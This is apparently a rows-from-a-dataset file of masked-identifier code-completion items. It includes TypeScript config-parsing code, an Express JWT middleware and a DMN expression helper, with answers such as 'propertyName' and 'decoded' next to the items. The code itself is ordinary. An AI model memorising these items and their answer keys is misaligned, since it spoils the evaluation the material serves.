                    errors.push(createDiagnosticForNodeInSourceFile(sourceFile, propertyAssignment.name, Diagnostics.Unknown_option_excludes_Did_you_mean_exclude));
                }
                if (find(commandOptionsWithoutBuild, opt => opt.name === keyText)) {
                    rootCompilerOptions = append(rootCompilerOptions, propertyAssignment.name);
                }
            }
        }
    }
}

function getExtendsConfigPath(
    extendedConfig: string,
    host: ParseConfigHost,
    basePath: string,
    errors: Diagnostic[],
    valueExpression: Expression | undefined,
    sourceFile: TsConfigSourceFile | undefined,
) {
    extendedConfig = normalizeSlashes(extendedConfig);
    if (isRootedDiskPath(extendedConfig) || startsWith(extendedConfig, ""./"") || startsWith(extendedConfig, ""../"")) {
        let extendedConfigPath = getNormalizedAbsolutePath(extendedConfig, basePath);
        if (!host.fileExists(extendedConfigPath) && !endsWith(extendedConfigPath, Extension.Json)) {
            extendedConfigPath = `${extendedConfigPath}.json`;
            if (!host.fileExists(extendedConfigPath)) {
                errors.push(createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(sourceFile, valueExpression, Diagnostics.File_0_not_found, extendedConfig));
                return undefined;
            }
        }
        return extendedConfigPath;
    }
    // If the path isn't a rooted or relative path, resolve like a module
    const resolved = nodeNextJsonConfigResolver(extendedConfig, combinePaths(basePath, ""tsconfig.json""), host);
    if (resolved.resolvedModule) {
        return resolved.resolvedModule.resolvedFileName;
    }
    if (extendedConfig === """") {
        errors.push(createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(sourceFile, valueExpression, Diagnostics.Compiler_option_0_cannot_be_given_an_empty_string, ""extends""));
    }
    else {
        errors.push(createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(sourceFile, valueExpression, Diagnostics.File_0_not_found, extendedConfig));
    }
    return undefined;
}

export interface ExtendedConfigCacheEntry {
    extendedResult: TsConfigSourceFile;
    extendedConfig: ParsedTsconfig | undefined;
}

function getExtendedConfig(
    sourceFile: TsConfigSourceFile | undefined,
    extendedConfigPath: string,
    host: ParseConfigHost,
    resolutionStack: string[],
    errors: Diagnostic[],
    extendedConfigCache: Map<string, ExtendedConfigCacheEntry> | undefined,
    result: ExtendsResult,
): ParsedTsconfig | undefined {
    const path = host.useCaseSensitiveFileNames ? extendedConfigPath : toFileNameLowerCase(extendedConfigPath);
    let value: ExtendedConfigCacheEntry | undefined;
    let extendedResult: TsConfigSourceFile;
    let extendedConfig: ParsedTsconfig | undefined;
    if (extendedConfigCache && (value = extendedConfigCache.get(path))) {
        ({ extendedResult, extendedConfig } = value);
    }
    else {
        extendedResult = readJsonConfigFile(extendedConfigPath, path => host.readFile(path));
        if (!extendedResult.parseDiagnostics.length) {
            extendedConfig = parseConfig(/*json*/ undefined, extendedResult, host, getDirectoryPath(extendedConfigPath), getBaseFileName(extendedConfigPath), resolutionStack, errors, extendedConfigCache);
        }
        if (extendedConfigCache) {
            extendedConfigCache.set(path, { extendedResult, extendedConfig });
        }
    }
    if (sourceFile) {
        (result.extendedSourceFiles ??= new Set()).add(extendedResult.fileName);
        if (extendedResult.extendedSourceFiles) {
            for (const extenedSourceFile of extendedResult.extendedSourceFiles) {
                result.extendedSourceFiles.add(extenedSourceFile);
            }
        }
    }
    if (extendedResult.parseDiagnostics.length) {
        errors.push(...extendedResult.parseDiagnostics);
        return undefined;
    }
    return extendedConfig!;
}

function convertCompileOnSaveOptionFromJson(jsonOption: any, basePath: string, errors: Diagnostic[]): boolean {
    if (!hasProperty(jsonOption, compileOnSaveCommandLineOption.name)) {
        return false;
    }
    const result = convertJsonOption(compileOnSaveCommandLineOption, jsonOption.compileOnSave, basePath, errors);
    return typeof result === ""boolean"" && result;
}

export function convertCompilerOptionsFromJson(jsonOptions: any, basePath: string, configFileName?: string): { options: CompilerOptions; errors: Diagnostic[]; } {
    const errors: Diagnostic[] = [];
    const options = convertCompilerOptionsFromJsonWorker(jsonOptions, basePath, errors, configFileName);
    return { options, errors };
}

export function convertTypeAcquisitionFromJson(jsonOptions: any, basePath: string, configFileName?: string): { options: TypeAcquisition; errors: Diagnostic[]; } {
    const errors: Diagnostic[] = [];
    const options = convertTypeAcquisitionFromJsonWorker(jsonOptions, basePath, errors, configFileName);
    return { options, errors };
}

function getDefaultCompilerOptions(configFileName?: string) {
    const options: CompilerOptions = configFileName && getBaseFileName(configFileName) === ""jsconfig.json""
        ? { allowJs: true, maxNodeModuleJsDepth: 2, allowSyntheticDefaultImports: true, skipLibCheck: true, noEmit: true }
        : {};
    return options;
}

function convertCompilerOptionsFromJsonWorker(jsonOptions: any, basePath: string, errors: Diagnostic[], configFileName?: string): CompilerOptions {
    const options = getDefaultCompilerOptions(configFileName);
    convertOptionsFromJson(getCommandLineCompilerOptionsMap(), jsonOptions, basePath, options, compilerOptionsDidYouMeanDiagnostics, errors);
    if (configFileName) {
        options.configFilePath = normalizeSlashes(configFileName);
    }
    return options;
}

function getDefaultTypeAcquisition(configFileName?: string): TypeAcquisition {
    return { enable: !!configFileName && getBaseFileName(configFileName) === ""jsconfig.json"", include: [], exclude: [] };
}

function convertTypeAcquisitionFromJsonWorker(jsonOptions: any, basePath: string, errors: Diagnostic[], configFileName?: string): TypeAcquisition {
    const options = getDefaultTypeAcquisition(configFileName);
    convertOptionsFromJson(getCommandLineTypeAcquisitionMap(), jsonOptions, basePath, options, typeAcquisitionDidYouMeanDiagnostics, errors);
    return options;
}

function convertWatchOptionsFromJsonWorker(jsonOptions: any, basePath: string, errors: Diagnostic[]): WatchOptions | undefined {
    return convertOptionsFromJson(getCommandLineWatchOptionsMap(), jsonOptions, basePath, /*defaultOptions*/ undefined, watchOptionsDidYouMeanDiagnostics, errors);
}

function convertOptionsFromJson(optionsNameMap: Map<string, CommandLineOption>, jsonOptions: any, basePath: string, defaultOptions: undefined, diagnostics: DidYouMeanOptionsDiagnostics, errors: Diagnostic[]): WatchOptions | undefined;
function convertOptionsFromJson(optionsNameMap: Map<string, CommandLineOption>, jsonOptions: any, basePath: string, defaultOptions: CompilerOptions | TypeAcquisition, diagnostics: DidYouMeanOptionsDiagnostics, errors: Diagnostic[]): CompilerOptions | TypeAcquisition;
function convertOptionsFromJson(optionsNameMap: Map<string, CommandLineOption>, jsonOptions: any, basePath: string, defaultOptions: CompilerOptions | TypeAcquisition | WatchOptions | undefined, diagnostics: DidYouMeanOptionsDiagnostics, errors: Diagnostic[]) {
    if (!jsonOptions) {
        return;
    }

    for (const id in jsonOptions) {
        const opt = optionsNameMap.get(id);
        if (opt) {
            (defaultOptions || (defaultOptions = {}))[opt.name] = convertJsonOption(opt, jsonOptions[id], basePath, errors);
        }
        else {
            errors.push(createUnknownOptionError(id, diagnostics));
        }
    }
    return defaultOptions;
}

function createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(sourceFile: TsConfigSourceFile | undefined, node: Node | undefined, message: DiagnosticMessage, ...args: DiagnosticArguments) {
    return sourceFile && node ?
        createDiagnosticForNodeInSourceFile(sourceFile, node, message, ...args) :
        createCompilerDiagnostic(message, ...args);
}

/** @internal */
export function convertJsonOption(
    opt: CommandLineOption,
    value: any,
    basePath: string,
    errors: Diagnostic[],
    propertyAssignment?: PropertyAssignment,
    valueExpression?: Expression,
    sourceFile?: TsConfigSourceFile,
): CompilerOptionsValue {
    if (opt.isCommandLineOnly) {
        errors.push(createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(sourceFile, propertyAssignment?.name, Diagnostics.Option_0_can_only_be_specified_on_command_line, opt.name));
        return undefined;
    }
    if (isCompilerOptionsValue(opt, value)) {
        const optType = opt.type;
        if ((optType === ""list"") && isArray(value)) {
            return convertJsonOptionOfListType(opt, value, basePath, errors, propertyAssignment, valueExpression as ArrayLiteralExpression | undefined, sourceFile);
        }
        else if (optType === ""listOrElement"") {
            return isArray(value) ?
                convertJsonOptionOfListType(opt, value, basePath, errors, propertyAssignment, valueExpression as ArrayLiteralExpression | undefined, sourceFile) :
                convertJsonOption(opt.element, value, basePath, errors, propertyAssignment, valueExpression, sourceFile);
        }
        else if (!isString(opt.type)) {
            return convertJsonOptionOfCustomType(opt as CommandLineOptionOfCustomType, value as string, errors, valueExpression, sourceFile);
        }
        const validatedValue = validateJsonOptionValue(opt, value, errors, valueExpression, sourceFile);
        return isNullOrUndefined(validatedValue) ? validatedValue : normalizeNonListOptionValue(opt, basePath, validatedValue);
    }
    else {
        errors.push(createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(sourceFile, valueExpression, Diagnostics.Compiler_option_0_requires_a_value_of_type_1, opt.name, getCompilerOptionValueTypeString(opt)));
    }
}

function normalizeNonListOptionValue(option: CommandLineOption, basePath: string, value: any): CompilerOptionsValue {
    if (option.isFilePath) {
        value = normalizeSlashes(value);
        value = !startsWithConfigDirTemplate(value) ? getNormalizedAbsolutePath(value, basePath) : value;
        if (value === """") {
            value = ""."";
        }
    }
    return value;
}

function validateJsonOptionValue<T extends CompilerOptionsValue>(
    opt: CommandLineOption,
    value: T,
    errors: Diagnostic[],
    valueExpression?: Expression,
    sourceFile?: TsConfigSourceFile,
): T | undefined {
    if (isNullOrUndefined(value)) return undefined;
    const d = opt.extraValidation?.(value);
    if (!d) return value;
    errors.push(createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(sourceFile, valueExpression, ...d));
    return undefined;
}

function convertJsonOptionOfCustomType(
    opt: CommandLineOptionOfCustomType,
    value: string,
    errors: Diagnostic[],
    valueExpression?: Expression,
    sourceFile?: TsConfigSourceFile,
) {
    if (isNullOrUndefined(value)) return undefined;
    const key = value.toLowerCase();
    const val = opt.type.get(key);
    if (val !== undefined) {
        return validateJsonOptionValue(opt, val, errors, valueExpression, sourceFile);
    }
    else {
        errors.push(createDiagnosticForInvalidCustomType(opt, (message, ...args) => createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(sourceFile, valueExpression, message, ...args)));
    }
}

function convertJsonOptionOfListType(
    option: CommandLineOptionOfListType,
    values: readonly any[],
    basePath: string,
    errors: Diagnostic[],
    propertyAssignment: PropertyAssignment | undefined,
    valueExpression: ArrayLiteralExpression | undefined,
    sourceFile: TsConfigSourceFile | undefined,
): any[] {
    return filter(map(values, (v, index) => convertJsonOption(option.element, v, basePath, errors, propertyAssignment, valueExpression?.elements[index], sourceFile)), v => option.listPreserveFalsyValues ? true : !!v);
}

/**
 * Tests for a path that ends in a recursive directory wildcard.
 * Matches **, \**, **\, and \**\, but not a**b.
 *
 * NOTE: used \ in place of / above to avoid issues with multiline comments.
 *
 * Breakdown:
 *  (^|\/)      # matches either the beginning of the string or a directory separator.
 *  \*\*        # matches the recursive directory wildcard ""**"".
 *  \/?$        # matches an optional trailing directory separator at the end of the string.
 */
const invalidTrailingRecursionPattern = /(?:^|\/)\*\*\/?$/;

/**
 * Matches the portion of a wildcard path that does not contain wildcards.
 * Matches \a of \a\*, or \a\b\c of \a\b\c\?\d.
 *
 * NOTE: used \ in place of / above to avoid issues with multiline comments.
 *
 * Breakdown:
 *  ^                   # matches the beginning of the string
 *  [^*?]*              # matches any number of non-wildcard characters
 *  (?=\/[^/]*[*?])     # lookahead that matches a directory separator followed by
 *                      # a path component that contains at least one wildcard character (* or ?).
 */
const wildcardDirectoryPattern = /^[^*?]*(?=\/[^/]*[*?])/;

/**
 * Gets the file names from the provided config file specs that contain, files, include, exclude and
 * other properties needed to resolve the file names
 * @param configFileSpecs The config file specs extracted with file names to include, wildcards to include/exclude and other details
 * @param basePath The base path for any relative file specifications.
 * @param options Compiler options.
 * @param host The host used to resolve files and directories.
 * @param extraFileExtensions optionaly file extra file extension information from host
 *
 * @internal
 */
export function getFileNamesFromConfigSpecs(
    configFileSpecs: ConfigFileSpecs,
    basePath: string,
    options: CompilerOptions,
    host: ParseConfigHost,
    extraFileExtensions: readonly FileExtensionInfo[] = emptyArray,
): string[] {
    basePath = normalizePath(basePath);

    const keyMapper = createGetCanonicalFileName(host.useCaseSensitiveFileNames);

    // Literal file names (provided via the ""files"" array in tsconfig.json) are stored in a
    // file map with a possibly case insensitive key. We use this map later when when including
    // wildcard paths.
    const literalFileMap = new Map<string, string>();

    // Wildcard paths (provided via the ""includes"" array in tsconfig.json) are stored in a
    // file map with a possibly case insensitive key. We use this map to store paths matched
    // via wildcard, and to handle extension priority.
    const wildcardFileMap = new Map<string, string>();

    // Wildcard paths of json files (provided via the ""includes"" array in tsconfig.json) are stored in a
    // file map with a possibly case insensitive key. We use this map to store paths matched
    // via wildcard of *.json kind
    const wildCardJsonFileMap = new Map<string, string>();
    const { validatedFilesSpec, validatedIncludeSpecs, validatedExcludeSpecs } = configFileSpecs;

    // Rather than re-query this for each file and filespec, we query the supported extensions
    // once and store it on the expansion context.
    const supportedExtensions = getSupportedExtensions(options, extraFileExtensions);
    const supportedExtensionsWithJsonIfResolveJsonModule = getSupportedExtensionsWithJsonIfResolveJsonModule(options, supportedExtensions);

    // Literal files are always included verbatim. An ""include"" or ""exclude"" specification cannot
    // remove a literal file.
    if (validatedFilesSpec) {
        for (const fileName of validatedFilesSpec) {
            const file = getNormalizedAbsolutePath(fileName, basePath);
            literalFileMap.set(keyMapper(file), file);
        }
    }

    let jsonOnlyIncludeRegexes: readonly RegExp[] | undefined;
    if (validatedIncludeSpecs && validatedIncludeSpecs.length > 0) {
        for (const file of host.readDirectory(basePath, flatten(supportedExtensionsWithJsonIfResolveJsonModule), validatedExcludeSpecs, validatedIncludeSpecs, /*depth*/ undefined)) {
            if (fileExtensionIs(file, Extension.Json)) {
                // Valid only if *.json specified
                if (!jsonOnlyIncludeRegexes) {
                    const includes = validatedIncludeSpecs.filter(s => endsWith(s, Extension.Json));
                    const includeFilePatterns = map(getRegularExpressionsForWildcards(includes, basePath, ""files""), pattern => `^${pattern}$`);
                    jsonOnlyIncludeRegexes = includeFilePatterns ? includeFilePatterns.map(pattern => getRegexFromPattern(pattern, host.useCaseSensitiveFileNames)) : emptyArray;
                }
                const includeIndex = findIndex(jsonOnlyIncludeRegexes, re => re.test(file));
                if (includeIndex !== -1) {
                    const key = keyMapper(file);
                    if (!literalFileMap.has(key) && !wildCardJsonFileMap.has(key)) {
                        wildCardJsonFileMap.set(key, file);
                    }
                }
                continue;
            }
            // If we have already included a literal or wildcard path with a
            // higher priority extension, we should skip this file.
            //
            // This handles cases where we may encounter both <file>.ts and
            // <file>.d.ts (or <file>.js if ""allowJs"" is enabled) in the same
            // directory when they are compilation outputs.
            if (hasFileWithHigherPriorityExtension(file, literalFileMap, wildcardFileMap, supportedExtensions, keyMapper)) {
                continue;
            }

            // We may have included a wildcard path with a lower priority
            // extension due to the user-defined order of entries in the
            // ""include"" array. If there is a lower priority extension in the
            // same directory, we should remove it.
            removeWildcardFilesWithLowerPriorityExtension(file, wildcardFileMap, supportedExtensions, keyMapper);

            const key = keyMapper(file);
            if (!literalFileMap.has(key) && !wildcardFileMap.has(key)) {
                wildcardFileMap.set(key, file);
            }
        }
    }

    const literalFiles = arrayFrom(literalFileMap.values());
    const wildcardFiles = arrayFrom(wildcardFileMap.values());

    return literalFiles.concat(wildcardFiles, arrayFrom(wildCardJsonFileMap.values()));
}

/** @internal */
export function isExcludedFile(
    pathToCheck: string,
    spec: ConfigFileSpecs,
    basePath: string,
    useCaseSensitiveFileNames: boolean,
    currentDirectory: string,
): boolean {
    const { validatedFilesSpec, validatedIncludeSpecs, validatedExcludeSpecs } = spec;
    if (!length(validatedIncludeSpecs) || !length(validatedExcludeSpecs)) return false;

    basePath = normalizePath(basePath);

    const keyMapper = createGetCanonicalFileName(useCaseSensitiveFileNames);
    if (validatedFilesSpec) {
        for (const fileName of validatedFilesSpec) {
            if (keyMapper(getNormalizedAbsolutePath(fileName, basePath)) === pathToCheck) return false;
        }
    }

    return matchesExcludeWorker(pathToCheck, validatedExcludeSpecs, useCaseSensitiveFileNames, currentDirectory, basePath);
}

function invalidDotDotAfterRecursiveWildcard(s: string) {
    // We used to use the regex /(^|\/)\*\*\/(.*\/)?\.\.($|\/)/ to check for this case, but
    // in v8, that has polynomial performance because the recursive wildcard match - **/ -
    // can be matched in many arbitrary positions when multiple are present, resulting
    // in bad backtracking (and we don't care which is matched - just that some /.. segment
    // comes after some **/ segment).
    const wildcardIndex = startsWith(s, ""**/"") ? 0 : s.indexOf(""/**/"");
    if (wildcardIndex === -1) {
        return false;
    }
    const lastDotIndex = endsWith(s, ""/.."") ? s.length : s.lastIndexOf(""/../"");
    return lastDotIndex > wildcardIndex;
}

/** @internal */
export function matchesExclude(
    pathToCheck: string,
    excludeSpecs: readonly string[] | undefined,
    useCaseSensitiveFileNames: boolean,
    currentDirectory: string,
): boolean {
    return matchesExcludeWorker(
        pathToCheck,
        filter(excludeSpecs, spec => !invalidDotDotAfterRecursiveWildcard(spec)),
        useCaseSensitiveFileNames,
        currentDirectory,
    );
}

/** @internal */
export function matchesExcludeWorker(
    pathToCheck: string,
    excludeSpecs: readonly string[] | undefined,
    useCaseSensitiveFileNames: boolean,
    currentDirectory: string,
    basePath?: string,
): boolean {
    const excludePattern = getRegularExpressionForWildcard(excludeSpecs, combinePaths(normalizePath(currentDirectory), basePath), ""exclude"");
    const excludeRegex = excludePattern && getRegexFromPattern(excludePattern, useCaseSensitiveFileNames);
    if (!excludeRegex) return false;
    if (excludeRegex.test(pathToCheck)) return true;
    return !hasExtension(pathToCheck) && excludeRegex.test(ensureTrailingDirectorySeparator(pathToCheck));
}

function validateSpecs(specs: readonly string[], errors: Diagnostic[], disallowTrailingRecursion: boolean, jsonSourceFile: TsConfigSourceFile | undefined, specKey: string): readonly string[] {
    return specs.filter(spec => {
        if (!isString(spec)) return false;
        const diag = specToDiagnostic(spec, disallowTrailingRecursion);
        if (diag !== undefined) {
            errors.push(createDiagnostic(...diag));
        }
        return diag === undefined;
    });

    function createDiagnostic(message: DiagnosticMessage, spec: string): Diagnostic {
        const element = getTsConfigPropArrayElementValue(jsonSourceFile, specKey, spec);
        return createDiagnosticForNodeInSourceFileOrCompilerDiagnostic(jsonSourceFile, element, message, spec);
    }
}

function specToDiagnostic(spec: CompilerOptionsValue, disallowTrailingRecursion?: boolean): [DiagnosticMessage, string] | undefined {
    Debug.assert(typeof spec === ""string"");
    if (disallowTrailingRecursion && invalidTrailingRecursionPattern.test(spec)) {
        return [Diagnostics.File_specification_cannot_end_in_a_recursive_directory_wildcard_Asterisk_Asterisk_Colon_0, spec];
    }
    else if (invalidDotDotAfterRecursiveWildcard(spec)) {
        return [Diagnostics.File_specification_cannot_contain_a_parent_directory_that_appears_after_a_recursive_directory_wildcard_Asterisk_Asterisk_Colon_0, spec];
    }
}

/**
 * Gets directories in a set of include patterns that should be watched for changes.
 */
function getWildcardDirectories({ validatedIncludeSpecs: include, validatedExcludeSpecs: exclude }: ConfigFileSpecs, basePath: string, useCaseSensitiveFileNames: boolean): MapLike<WatchDirectoryFlags> {
    // We watch a directory recursively if it contains a wildcard anywhere in a directory segment
    // of the pattern:
    //
    //  /a/b/**/d   - Watch /a/b recursively to catch changes to any d in any subfolder recursively
    //  /a/b/*/d    - Watch /a/b recursively to catch any d in any immediate subfolder, even if a new subfolder is added
    //  /a/b        - Watch /a/b recursively to catch changes to anything in any recursive subfoler
    //
    // We watch a directory without recursion if it contains a wildcard in the file segment of
    // the pattern:
    //
    //  /a/b/*      - Watch /a/b directly to catch any new file
    //  /a/b/a?z    - Watch /a/b directly to catch any new file matching a?z
    const rawExcludeRegex = getRegularExpressionForWildcard(exclude, basePath, ""exclude"");
    const excludeRegex = rawExcludeRegex && new RegExp(rawExcludeRegex, useCaseSensitiveFileNames ? """" : ""i"");
    const wildcardDirectories: MapLike<WatchDirectoryFlags> = {};
    const wildCardKeyToPath = new Map<CanonicalKey, string>();
    if (include !== undefined) {
        const recursiveKeys: CanonicalKey[] = [];
        for (const file of include) {
            const spec = normalizePath(combinePaths(basePath, file));
            if (excludeRegex && excludeRegex.test(spec)) {
                continue;
            }

            const match = getWildcardDirectoryFromSpec(spec, useCaseSensitiveFileNames);
            if (match) {
                const { key, path, flags } = match;
                const existingPath = wildCardKeyToPath.get(key);
                const existingFlags = existingPath !== undefined ? wildcardDirectories[existingPath] : undefined;
                if (existingFlags === undefined || existingFlags < flags) {
                    wildcardDirectories[existingPath !== undefined ? existingPath : path] = flags;
                    if (existingPath === undefined) wildCardKeyToPath.set(key, path);
                    if (flags === WatchDirectoryFlags.Recursive) {
                        recursiveKeys.push(key);
                    }
                }
            }
        }

        // Remove any subpaths under an existing recursively watched directory.
        for (const path in wildcardDirectories) {
            if (hasProperty(wildcardDirectories, path)) {
                for (const recursiveKey of recursiveKeys) {
                    const key = toCanonicalKey(path, useCaseSensitiveFileNames);
                    if (key !== recursiveKey && containsPath(recursiveKey, key, basePath, !useCaseSensitiveFileNames)) {
                        delete wildcardDirectories[path];
                    }
                }
            }
        }
    }

    return wildcardDirectories;
}

type CanonicalKey = string & { __canonicalKey: never; };
function toCanonicalKey(path: string, useCaseSensitiveFileNames: boolean): CanonicalKey {
    return (useCaseSensitiveFileNames ? path : toFileNameLowerCase(path)) as CanonicalKey;
}

function getWildcardDirectoryFromSpec(spec: string, useCaseSensitiveFileNames: boolean): { key: CanonicalKey; path: string; flags: WatchDirectoryFlags; } | undefined {
    const match = wildcardDirectoryPattern.exec(spec);
    if (match) {
        // We check this with a few `indexOf` calls because 3 `indexOf`/`lastIndexOf` calls is
        // less algorithmically complex (roughly O(3n) worst-case) than the regex we used to use,
        // \/[^/]*?[*?][^/]*\/ which was polynominal in v8, since arbitrary sequences of wildcard
        // characters could match any of the central patterns, resulting in bad backtracking.
        const questionWildcardIndex = spec.indexOf(""?"");
        const starWildcardIndex = spec.indexOf(""*"");
        const lastDirectorySeperatorIndex = spec.lastIndexOf(directorySeparator);
        return {
            key: toCanonicalKey(match[0], useCaseSensitiveFileNames),
            path: match[0],
            flags: (questionWildcardIndex !== -1 && questionWildcardIndex < lastDirectorySeperatorIndex)
                    || (starWildcardIndex !== -1 && starWildcardIndex < lastDirectorySeperatorIndex)
                ? WatchDirectoryFlags.Recursive : WatchDirectoryFlags.None,
        };
    }
    if (isImplicitGlob(spec.substring(spec.lastIndexOf(directorySeparator) + 1))) {
        const path = removeTrailingDirectorySeparator(spec);
        return {
            key: toCanonicalKey(path, useCaseSensitiveFileNames),
            path,
            flags: WatchDirectoryFlags.Recursive,
        };
    }
    return undefined;
}

/**
 * Determines whether a literal or wildcard file has already been included that has a higher
 * extension priority.
 *
 * @param file The path to the file.
 */
function hasFileWithHigherPriorityExtension(file: string, literalFiles: Map<string, string>, wildcardFiles: Map<string, string>, extensions: readonly string[][], keyMapper: (value: string) => string) {
    const extensionGroup = forEach(extensions, group => fileExtensionIsOneOf(file, group) ? group : undefined);
    if (!extensionGroup) {
        return false;
    }
    for (const ext of extensionGroup) {
        // d.ts files match with .ts extension and with case sensitive sorting the file order for same files with ts tsx and dts extension is
        // d.ts, .ts, .tsx in that order so we need to handle tsx and dts of same same name case here and in remove files with same extensions
        // So dont match .d.ts files with .ts extension
        if (fileExtensionIs(file, ext) && (ext !== Extension.Ts || !fileExtensionIs(file, Extension.Dts))) {
            return false;
        }
        const higherPriorityPath = keyMapper(changeExtension(file, ext));
        if (literalFiles.has(higherPriorityPath) || wildcardFiles.has(higherPriorityPath)) {
            if (ext === Extension.Dts && (fileExtensionIs(file, Extension.Js) || fileExtensionIs(file, Extension.Jsx))) {
                // LEGACY BEHAVIOR: An off-by-one bug somewhere in the extension priority system for wildcard module loading allowed declaration
                // files to be loaded alongside their js(x) counterparts. We regard this as generally undesirable, but retain the behavior to
                // prevent breakage.
                continue;
            }
            return true;
        }
    }

    return false;
}

/**
 * Removes files included via wildcard expansion with a lower extension priority that have
 * already been included.
 *
 * @param file The path to the file.
 */
function removeWildcardFilesWithLowerPriorityExtension(file: string, wildcardFiles: Map<string, string>, extensions: readonly string[][], keyMapper: (value: string) => string) {
    const extensionGroup = forEach(extensions, group => fileExtensionIsOneOf(file, group) ? group : undefined);
    if (!extensionGroup) {
        return;
    }
    for (let i = extensionGroup.length - 1; i >= 0; i--) {
        const ext = extensionGroup[i];
        if (fileExtensionIs(file, ext)) {
            return;
        }
        const lowerPriorityPath = keyMapper(changeExtension(file, ext));
        wildcardFiles.delete(lowerPriorityPath);
    }
}

/**
 * Produces a cleaned version of compiler options with personally identifying info (aka, paths) removed.
 * Also converts enum values back to strings.
 *
 * @internal
 */
export function convertCompilerOptionsForTelemetry(opts: CompilerOptions): CompilerOptions {
    const out: CompilerOptions = {};
    for (const key in opts) {
        if (hasProperty(opts, key)) {
            const type = getOptionFromName(key);
            if (type !== undefined) { // Ignore unknown options
                out[key] = getOptionValueWithEmptyStrings(opts[key], type);
            }
        }
    }
    return out;
}

function getOptionValueWithEmptyStrings(value: any, option: CommandLineOption): {} | undefined {
    if (value === undefined) return value;
    switch (option.type) {
        case ""object"": // ""paths"". Can't get any useful information from the value since we blank out strings, so just return """".
            return """";
        case ""string"": // Could be any arbitrary string -- use empty string instead.
            return """";
        case ""number"": // Allow numbers, but be sure to check it's actually a number.
            return typeof value === ""number"" ? value : """";
        case ""boolean"":
            return typeof value === ""boolean"" ? value : """";
        case ""listOrElement"":
            if (!isArray(value)) return getOptionValueWithEmptyStrings(value, option.element);
            // fall through to list
        case ""list"":
            const elementType = option.element;
            return isArray(value) ? mapDefined(value, v => getOptionValueWithEmptyStrings(v, elementType)) : """";
        default:
            return forEachEntry(option.type, (optionEnumValue, optionStringValue) => {
                if (optionEnumValue === value) {
                    return optionStringValue;
                }
            });
    }
}
",propertyName
140,"import { Request, Response, NextFunction } from 'express';
import jwt from 'jsonwebtoken';
import { JWT_SECRET } from '../config/jwt.js';

// Extender el tipo Request para incluir el usuario
declare global {
  namespace Express {
    interface Request {
      user?: {
        id: string;
        email: string;
        [key: string]: any;
      };
    }
  }
}

/**
 * Middleware para verificar autenticación JWT
 * Extrae la información del usuario del token y la añade a req.user
 */
export const authenticateJWT = (req: Request, res: Response, next: NextFunction): void => {
  try {
    // Si es una solicitud OPTIONS, permitir pasar para habilitar CORS
    if (req.method === 'OPTIONS') {
      return next();
    }

    const authHeader = req.headers.authorization;
    
    if (!authHeader) {
      res.status(401).json({ error: 'Token de autenticación requerido' });
      return;
    }

    // Formato esperado: Bearer token
    const token = authHeader.split(' ')[1];
    
    if (!token) {
      res.status(401).json({ error: 'Formato de token inválido. Use: Bearer <token>' });
      return;
    }

    // Verificar el token
    jwt.verify(token, JWT_SECRET, (err,  [MASK] ) => {
      if (err) {
        return res.status(403).json({ error: 'Token inválido o expirado' });
      }
      
      // Añadir información del usuario al objeto de solicitud
      req.user =  [MASK]  as { id: string; email: string; [key: string]: any };
      next();
    });
  } catch (error) {
    console.error('Error en la autenticación:', error);
    res.status(500).json({ error: 'Error interno de autenticación' });
  }
};

export default authenticateJWT;",decoded
141,"import {
  ExpressionDefinitionLogicType,
  ExpressionDefinition,
  LiteralExpressionDefinition,
  FunctionExpressionDefinition,
  FunctionExpressionDefinitionKind,
  generateUuid,
  ContextExpressionDefinition,
  DmnBuiltInDataType,
  ListExpressionDefinition,
  InvocationExpressionDefinition,
  RelationExpressionDefinition,
  DecisionTableExpressionDefinition,
  DecisionTableExpressionDefinitionHitPolicy,
  DecisionTableExpressionDefinitionBuiltInAggregation,
  ExpressionDefinitionBase,
} from ""../src/api"";
import {
  LITERAL_EXPRESSION_MIN_WIDTH,
  CONTEXT_ENTRY_INFO_MIN_WIDTH,
  DECISION_TABLE_INPUT_DEFAULT_WIDTH,
  DECISION_TABLE_OUTPUT_DEFAULT_WIDTH,
  DECISION_TABLE_ANNOTATION_DEFAULT_WIDTH,
  LITERAL_EXPRESSION_EXTRA_WIDTH,
} from ""../src/resizing/WidthConstants"";
import {
  DECISION_TABLE_INPUT_DEFAULT_VALUE,
  DECISION_TABLE_OUTPUT_DEFAULT_VALUE,
} from ""../src/expressions/DecisionTableExpression"";
import {
  INVOCATION_EXPRESSION_DEFAULT_PARAMETER_NAME,
  INVOCATION_EXPRESSION_DEFAULT_PARAMETER_DATA_TYPE,
  INVOCATION_EXPRESSION_DEFAULT_PARAMETER_LOGIC_TYPE,
} from ""../src/expressions/InvocationExpression"";
import { RELATION_EXPRESSION_DEFAULT_VALUE } from ""../src/expressions/RelationExpression"";

export function getDefaultExpressionDefinitionByLogicType(
  logicType: ExpressionDefinitionLogicType,
  prev: ExpressionDefinitionBase,
   [MASK] : number
): ExpressionDefinition {
  if (logicType === ExpressionDefinitionLogicType.Literal) {
    const literalExpression: LiteralExpressionDefinition = {
      ...prev,
      logicType,
      width: Math.max(LITERAL_EXPRESSION_MIN_WIDTH,  [MASK]  - LITERAL_EXPRESSION_EXTRA_WIDTH),
    };
    return literalExpression;
  } else if (logicType === ExpressionDefinitionLogicType.Function) {
    const functionExpression: FunctionExpressionDefinition = {
      ...prev,
      logicType,
      functionKind: FunctionExpressionDefinitionKind.Feel,
      formalParameters: [],
      expression: {
        id: generateUuid(),
        logicType: ExpressionDefinitionLogicType.Undefined,
        dataType: DmnBuiltInDataType.Undefined,
      },
    };
    return functionExpression;
  } else if (logicType === ExpressionDefinitionLogicType.Context) {
    const contextExpression: ContextExpressionDefinition = {
      ...prev,
      logicType,
      entryInfoWidth: CONTEXT_ENTRY_INFO_MIN_WIDTH,
      result: {
        logicType: ExpressionDefinitionLogicType.Undefined,
        dataType: DmnBuiltInDataType.Undefined,
        id: generateUuid(),
      },
      contextEntries: [
        {
          entryInfo: {
            id: generateUuid(),
            name: ""ContextEntry-1"",
            dataType: DmnBuiltInDataType.Undefined,
          },
          entryExpression: {
            id: generateUuid(),
            name: ""ContextEntry-1"",
            dataType: DmnBuiltInDataType.Undefined,
            logicType: ExpressionDefinitionLogicType.Undefined,
          },
        },
        {
          entryInfo: {
            id: generateUuid(),
